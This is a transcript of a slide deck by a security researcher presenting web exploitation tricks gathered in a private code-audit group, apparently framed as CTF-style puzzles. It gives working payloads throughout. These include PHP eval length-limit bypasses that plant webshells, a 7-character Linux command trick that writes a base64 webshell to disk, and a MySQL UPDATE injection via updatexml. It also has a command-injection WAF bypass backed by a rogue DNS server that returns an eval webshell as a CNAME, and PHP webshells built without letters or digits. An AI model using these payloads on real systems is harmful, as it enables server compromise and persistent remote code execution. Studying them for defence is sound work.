Some Tricks From My Secret Group

Some interesting web security tricks shared.

Transcript

1. Some Tricks From My Secret Group
2. About PHITHON 习主席最关心的人 ▪ 困难群众 ▪ 安全研究者 ▪ 程序猿 ▪ 猫奴 ▪ Come From @chaitin 博客: https://www.leavesongs.com 微博: @phithon_xg GITHUB: @phith0n
3. 来自小密圈里的那些奇技淫巧 《代码审计》小密圈：一个分享与交流猥 琐Web安全技巧的小圈子。 时间轴 ❖ 2016.11.14 圈子创建 ❖ 2016.11.15 用户破百 ❖ 2016.12.01 更多安全相关小圈子形成 ❖ 2017.01.09 微信小程序发布，小密圈尝鲜 ❖ 2017.02.10 用户破四百 ❖ 2017.02.16 主题数量：146篇 ❖ 2017.02.18 《来自小密圈里的那些奇技淫巧》 降躁 / 消除偏见 / 纯技术交流 / 思路分享 / 理性面对漏洞 / 赚点小钱
4. 1 EVAL Length Restrict Bypass Trick
5. How to Execute PHP Webshell Within 16 Characters
6. EVAL Length Restrict Bypass Trick <?php $param = $_REQUEST['param']; If ( strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false ) { eval($param); }
7. `$_GET[1]` ➔ Length: 10 ➔ Difficulty: Easy ➔ Exploit Requirement: High ➔ Score: 0 another answer: exec($_GET[1]);
8. include$_GET[1]; ➔ Length: 16 ➔ Difficulty: Hard ➔ Exploit Requirement: Low ➔ Score: 40 phpinfo(); ⇒ $_FILES[file][tmp_name] ⇒ include Reference: https://goo.gl/Djgzvg
9. Not Beautiful? score < 50 === poor exploit
10. foo.php?1=file_put_contents&param=$_GET[1](N,P,8); foo.php?1=file_put_contents&param=$_GET[1](N,D,8); ... foo.php?1=file_put_contents&param=$_GET[1](N,w,8); /* put 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' into file 'N' */ foo.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N ➔ Length: 16 ➔ Difficulty: Moderate ➔ Exploit Requirement: Low ➔ Score: 80
11. usort(...$_GET); foo.php?1[]=test&1[]=phpinfo();&2=assert ➔ Length: 16 ➔ Difficulty: Easy ➔ Exploit Requirement: High ➔ Score: 100 PHP5.6 variable-length argument lists ⇒ usort callback backdoor ⇒ arbitrary code execution
12. " such a beautiful exploit, it's almost like art "
13. 2 Linux Command Length Restrict Bypass Trick
14. How to Execute Arbitrary Command Within 7 Characters
15. Linux Command Length Restrict Bypass Trick The question comes from a binary vulnerability exploiting. In the vulnerability, we can control a 8 bytes string, but it must be end with "\0". I write a simple example code using PHP. <?php $param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param); }
16. How To Put An Elephant Into A Refrigerator Put the Elephant Close the Door Open the Door
17. How To Bypass Linux Command Length Restrict? `sh 0` ⇒ Length:4 Get Shell `.. > 0` ⇒ Length?
18. How To Bypass Linux Command Length Restrict? `sh 0` ⇒ Length:4 Get Shell `.. > 0` ⇒ Length? Difficulty
19. Linux Command Length Restrict Bypass Trick A asesome trick from @超威蓝猫. www:~$ w>hp www:~$ w>c.p\\ www:~$ w>d\>\\ www:~$ w>\ -\\ www:~$ w>e64\\ www:~$ w>bas\\ www:~$ w>7\|\\ www:~$ w>XSk\\ ... www:~$ w>PD9\\ www:~$ w>o\ \\ www:~$ w>ech\\ www:~$ ls -t>0 www:~$ sh 0
20. Linux Command Length Restrict Bypass Trick www:~$ ls -t ech\ o \ PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\ bas\ e64\ -\ d>\ c.p\ hp www:~$ echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php ▪ w The shortest command in Linux ▪ ls -t List directory sort by time modified ▪ A [\n] between every two filename ▪ [\] Quote the [\n] after filename ▪ So [\n] don't influence command execution ▪ Arbitrary command execution vulnerability
21. ➔ Length: 7 ➔ Difficulty: Easy ➔ Exploit Requirement: Low ➔ Score: 100
22. Other Solution? Keyword: `. /*/*R`
23. 3 Mysql SQLi Without Comments Trick
24. How To Exploit SQL Injection After "Update `table`" Within A Multiple Lines Environment?
25. Mysql SQLi Without Comments SQL Injection occurs at position `$table`, but we can not comment out the rest SQL statement (because of line feed). <?php $sql = "UPDATE `{$table}` SET `username`='admin' WHERE id=1"; mysqli_query($link, $sql);
26. Review the Basis “基础不牢，地动山摇”
27. Mysql "comments" Syntax ▪ [#] One line comments ▪ [-- ] One line comments, double dash with a whitespace ▪ [/*...*/] Multiple lines comments ▪ [`] At some condition, ` is similar with comments ▫ Mysql @@version <= 5.5 ▫ Reference: https://goo.gl/633Ej7 ▪ [;] When multiple SQL statements execution support ▫ PDO ✔ ▫ Mysql ✘ ▫ Mysqli ✘
28. Mysql Update Syntax Update syntax: https://goo.gl/LkSDVa UPDATE [LOW_PRIORITY] [IGNORE] table_reference SET col_name1={expr1|DEFAULT} [, col_name2={expr2|DEFAULT}] ... [WHERE where_condition] [ORDER BY ...] [LIMIT row_count] Which statements can be put in position "table_reference"?
29. Mysql Update Syntax table_reference: static table name or dynamic table name from join statements Join syntax: https://goo.gl/lvIf7E ... table_reference [INNER | CROSS] JOIN table_factor [join_condition] | table_reference STRAIGHT_JOIN table_factor | table_reference STRAIGHT_JOIN table_factor ON conditional_expr | table_reference {LEFT|RIGHT} [OUTER] JOIN table_reference join_condition | table_reference NATURAL [{LEFT|RIGHT} [OUTER]] JOIN table_factor
30. UPDATE `user` JOIN (SELECT updatexml(0,concat(0xa,version()),0) )a#` SET username='admin' WHERE id=1; ➔ Difficulty: Easy ➔ Exploit Requirement: Low ➔ Score: 70
31. Document's Importance
32. 4 Command Execution WAF Bypass Trick
33. How To Write Webshell Via Command Ping?
34. Command Execution WAF Bypass Trick <?php $ip = $_GET['ip'] ?? exit; if (strpbrk($ip, "&;`|*?()$\\\x00") !== false) { exit('WAF'); } if (stripos($ip, '.php') !== false) { exit('WAF'); } $ip = escapeshellcmd($ip); $ip = str_replace('\>', '>', $ip); echo shell_exec('ping -c1 ' . $ip);
35. Three Difficulty Steps Control Ping's Result The Influence Of Local DNS stripos($ip, '.php')
36. Bash && escapeshellcmd character www:~$ una""me -a Linux vultr.guest 4.9.6-040906-generic #201701260330 SMP Thu Jan 26 08:32:10 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux ▪ escapeshellcmd (https://goo.gl/Ln0mXi) ▫ Escape &#;`|*?~<>^()[]{}$\x5C\x0A\xFF ▫ Don't escape " ' if they are paired ▪ In bash, "" means the empty string ▫ .p""hp ⇒ .php ⇒ waf bypass!
37. Three Difficulty Steps Control Ping's Result The Influence Of Local DNS stripos($ip, '.php')
38. Ping's Research www:~$ ping -c1 www.leavesongs.com PING leavesongs.com (107.191.60.143) 56(84) bytes of data. 64 bytes from 107.191.60.143.vultr.com (107.191.60.143): icmp_seq=1 ttl=64 time=0.033 ms --- leavesongs.com ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.033/0.033/0.033/0.000 ms ▪ We can control ping's result via CNAME record! ▪ Idea: Set the CNAME record of my domain name to a webshell
39. Deploy Evil Dns Server Object: Deploy dns server myself && return webshell Reason: DNSPOD (or ..) don't allow special characters tool: dnslib.py request = DNSRecord.parse(data) reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) qname = request.q.qname if qn.startswith('aaa.dddns.leavesongs.com'): rdata = CNAME('<?=eval($_POST[1])?>.dddns.leavesongs.com') reply.add_answer(RR(rname=qname, rtype=5, rclass=1, ttl=300, rdata=rdata)) else: rdata = A('107.191.60.143') reply.add_answer(RR(rname=qname, rtype=1, rclass=1, ttl=300, rdata=rdata))
40. Ping's Research www:~$ ping -c1 aaa.dddns.leavesongs.com PING <?=eval($_post[1])?>.dddns.leavesongs.com (107.191.60.143): 56 data bytes 64 bytes from 107.191.60.143: icmp_seq=0 ttl=50 time=101.293 ms --- <?=eval($_post[1])?>.dddns.leavesongs.com ping statistics --- 1 packets transmitted, 1 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 101.293/101.293/101.293/0.000 ms dddns.leavesongs.com ⇒ NS Record ⇒ My DNS Server aaa.dddns.leavesongs.com ⇒ <?=eval($_post[1])?>.dddns.leavesongs.com ⇒ 107.191.60.143
41. Three Difficulty Steps Control Ping's Result The Influence Of Local DNS stripos($ip, '.php')
42. Ping's Research www:~$ nslookup aaa.dddns.leavesongs.com Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: aaa.dddns.leavesongs.com canonical name = <?=eval\(\$_POST[1]\)?>.dddns.leavesongs.com. Name: <?=eval\(\$_POST[1]\)?>.dddns.leavesongs.com Address: 107.191.60.143 www:~$ ping -c1 aaa.dddns.leavesongs.com ping: unknown host aaa.dddns.leavesongs.com WHAT THE F**K ?
43. The Influence Of Local DNS NSLOOKUP DIG PING 8.8.8.8 ✔ ✔ ✘ 119.29.29.29 ✔ ✔ ✔ 223.5.5.5 ✘ ✘ ✘
44. 难点突破 Control Ping's Result The Influence Of Local DNS stripos($ip, '.php')
45. `ping yourdomain.com > 1.ph""p` ➔ Difficulty: Hard ➔ Exploit Requirement: High ➔ Score: 90
46. 5 PHP Webshell Without Alpha And Number Trick
47. How To Create A PHP Webshell Without Alpha And Number?
48. PHP Webshell Without Alpha And Number Trick The question comes from someday's fantasy <?php if (!preg_match('/[a-z0-9]/is', $_GET['shell'])) { eval($_GET['shell']); }
49. PHP Webshell Without Alpha And Number Trick Three Step ▪ Get numbers ▪ Get alphas (important) ▪ Execute code
50. PHP Webshell Without Alpha And Number Trick Get numbers ▪ PHP Type Juggling ⇔ TRUE == 1 ⇔ FALSE == 0 ⇔ TRUE + TRUE == 2 Get alphas ▪ XOR '!'^'`' == 'A' ▪ NOT ~('和'{2}) == 's' ▪ Others ? Execute code ▪ PHP Code Execution ⇔ $f='assert';$f(...); ⇔ Restrict in PHP 7
51. '!'^'`' == 'A' Using XOR to Get Alpha ➔ Complex rate: Low ➔ Difficulty: Easy ➔ Exploit Requirement: Low ➔ Score: 40
52. ~('和'{2}) == 's' Using NOT to Get Alpha ➔ Complex rate: High ➔ Difficulty: Easy ➔ Exploit Requirement: Low ➔ Score: 50
53. Not Beautiful? How to solve the question without bit operation?
54. PHP Increment Operation ▪ $i++ ▪ PHP increment operation == C + Perl ▫ 'a'++ ⇒ 'b'; 'b'++ ⇒ 'c'; 'c'++ ⇒ 'd'; ... ▫ Only digits([a-zA-Z0-9]) are supported ▫ 'z'++ ⇒ 'aa'; ▪ Thinking about: If Increment Operation would help me to solve the problem?
55. PHP Webshell Without Alpha And Number Trick ▪ If Increment Operation would help me to solve the problem? ▫ Got 'A' ⇒ Got 'B' ⇒ ... ⇒ Got 'Z' ▪ How to get 'A'? ▫ PHP5.3- Array ⇔ PHP5.3+ [] ▫ ''.[] == 'Array' ▫ 'Array'{0} === 'A' ▫ 'Array'{3} === 'a' ▫ '' == 0 ▫ $_=''.[]; $_{''}==='A';
56. $_=''.[]; $_{''}==='A'; Using Array+Increment to get alpha ➔ Complex rate: Medium ➔ Difficulty: Moderate ➔ Exploit Requirement: Low ➔ Score: 80
57. A PHP Type Juggling Game
58. Tricks Structure Brainstor m Experienc e Fuzz
59. CREDITS 上述灵感来自那些一直支持《代码审计》小密圈的小伙伴们 ▪ @超威蓝猫 ▪ @AAA ▪ @Tomato ▪ @雨了个雨 ▪ @他，是鹿 ▪ @wd0g ▪ @L3m0n ▪ @栋栋的栋 ▪ @roker ▪ @xfkxfk ▪ @乐清小俊杰 ▪ @Joseph ▪ @Melody ▪ @聂心明 ▪ @索马里的海贼 ▪ @mLT ▪ @HackBraid ▪ @mm519 ▪ @fyth ▪ @所有圈子里的童鞋
60. Thanks! ANY QUESTIONS? You can find me at: Twitter: @phithon_xg https://www.leavesongs.com